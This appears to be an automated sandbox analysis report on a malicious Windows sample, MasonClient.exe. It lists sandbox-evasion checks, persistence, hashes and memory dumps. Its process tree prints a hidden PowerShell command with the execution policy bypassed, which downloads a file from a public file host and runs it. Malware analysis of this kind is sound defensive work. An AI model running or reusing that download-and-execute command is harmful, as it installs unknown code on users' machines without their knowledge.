Overview

overview

9

Static

static

3

MasonClient.exe

windows10-2004-x64

9

MasonClient.exe

windows10-ltsc_2021-x64

9

MasonClient.exe

windows11-21h2-x64

9

MasonClient.exe

windows11-ltsc_2024-x64

9

Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260629-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/06/2026, 03:59

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General

  • Target
    MasonClient.exe
  • Size 310KB
  • Sample260630-ej8xesd19y
  • SHA256 068d60132aa87ea77fa6b1b9c1b12bc25d1a6dc4bd8c0516f516e928e560564d
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
9/10
adwaredefense_evasionexecutionpersistencespyware

Malware Config

Signatures

  • Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
    defense_evasion
  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Looks for VMWare Tools registry key 2 TTPs 1 IoCs
    defense_evasion
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 35 IoCs
  • Suspicious behavior: EnumeratesProcesses 54 IoCs
  • Suspicious use of AdjustPrivilegeToken 30 IoCs
  • Suspicious use of FindShellTrayWindow 53 IoCs
  • Suspicious use of SendNotifyMessage 41 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\MasonClient.exe
    "C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"
    1⤵
    • Looks for VirtualBox Guest Additions in registry
    • Looks for VMWare Tools registry key
    • Checks BIOS information in registry
    • Maps connected drives based on registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3596
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/8ruqew.rar' -OutFile $env:TEMP\MasonKit.com; Start-Process -WindowStyle Hidden $env:TEMP\MasonKit.com"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1000
  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:616
    • C:\Windows\explorer.exe
      explorer.exe /LOADSAVEDWINDOWS
      2⤵
      • Boot or Logon Autostart Execution: Active Setup
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of SetWindowsHookEx
      PID:3996
  • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
    "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:3608
  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:5764

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        prep_Activatable Class_Hermes_perf.cache
        • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
        • Size 562B
        • SHA256 2a2e893cf659e7fb79658057731b9c3ad4b4652bb26944c9fad23c147af1707c
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        memory/1000-14-0x00007FFF3BCA0000-0x00007FFF3C644000-memory.dmp
        Download

        memory/1000-24-0x00007FFF3BCA0000-0x00007FFF3C644000-memory.dmp
        Download

        memory/1000-21-0x00007FFF3BCA0000-0x00007FFF3C644000-memory.dmp
        Download

        memory/1000-20-0x00007FFF3BCA0000-0x00007FFF3C644000-memory.dmp
        Download

        memory/1000-19-0x00007FFF3BCA0000-0x00007FFF3C644000-memory.dmp
        Download

        memory/1000-18-0x00007FFF3BCA0000-0x00007FFF3C644000-memory.dmp
        Download

        memory/1000-17-0x00007FFF3BCA0000-0x00007FFF3C644000-memory.dmp
        Download

        memory/1000-16-0x00007FFF3BCA0000-0x00007FFF3C644000-memory.dmp
        Download

        memory/1000-15-0x00007FFF3BCA0000-0x00007FFF3C644000-memory.dmp
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        memory/1000-12-0x000001E7F8D70000-0x000001E7F8D92000-memory.dmp
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        memory/1000-13-0x00007FFF3BCA0000-0x00007FFF3C644000-memory.dmp
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        memory/3596-8-0x00007FFF3BCA0000-0x00007FFF3C644000-memory.dmp
        Download

        memory/3596-2-0x0000000002EC0000-0x0000000002EC8000-memory.dmp
        Download

        memory/3596-0-0x00007FFF3BE2F000-0x00007FFF3BE30000-memory.dmp
        Download

        memory/3596-7-0x00007FFF3BCA0000-0x00007FFF3C644000-memory.dmp
        Download

        memory/3596-6-0x00007FFF3BCA0000-0x00007FFF3C644000-memory.dmp
        Download

        memory/3596-5-0x00007FFF3BCA0000-0x00007FFF3C644000-memory.dmp
        Download

        memory/3596-4-0x00007FFF3BCA0000-0x00007FFF3C644000-memory.dmp
        Download

        memory/3596-3-0x00007FFF3BCA0000-0x00007FFF3C644000-memory.dmp
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        memory/3596-22-0x00007FFF3BCA0000-0x00007FFF3C644000-memory.dmp
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        memory/3596-9-0x00007FFF3BCA0000-0x00007FFF3C644000-memory.dmp
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        memory/3596-25-0x00007FFF3BCA0000-0x00007FFF3C644000-memory.dmp
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        memory/3596-26-0x00007FFF3BCA0000-0x00007FFF3C644000-memory.dmp
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        memory/3596-27-0x00007FFF3BCA0000-0x00007FFF3C644000-memory.dmp
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        memory/3596-1-0x0000000000C40000-0x0000000000C94000-memory.dmp
        Download

        memory/3608-69-0x0000026D03E10000-0x0000026D03E30000-memory.dmp
        Download

        memory/3608-54-0x0000026D03930000-0x0000026D03950000-memory.dmp
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        memory/3608-46-0x0000026D001E0000-0x0000026D002E0000-memory.dmp
        Download

        memory/3608-92-0x0000026D14290000-0x0000026D142B0000-memory.dmp
        Download

        memory/3608-55-0x0000026D03E50000-0x0000026D03F50000-memory.dmp
        Download

        memory/3996-206-0x000000000E760000-0x000000000E8CC000-memory.dmp
        Download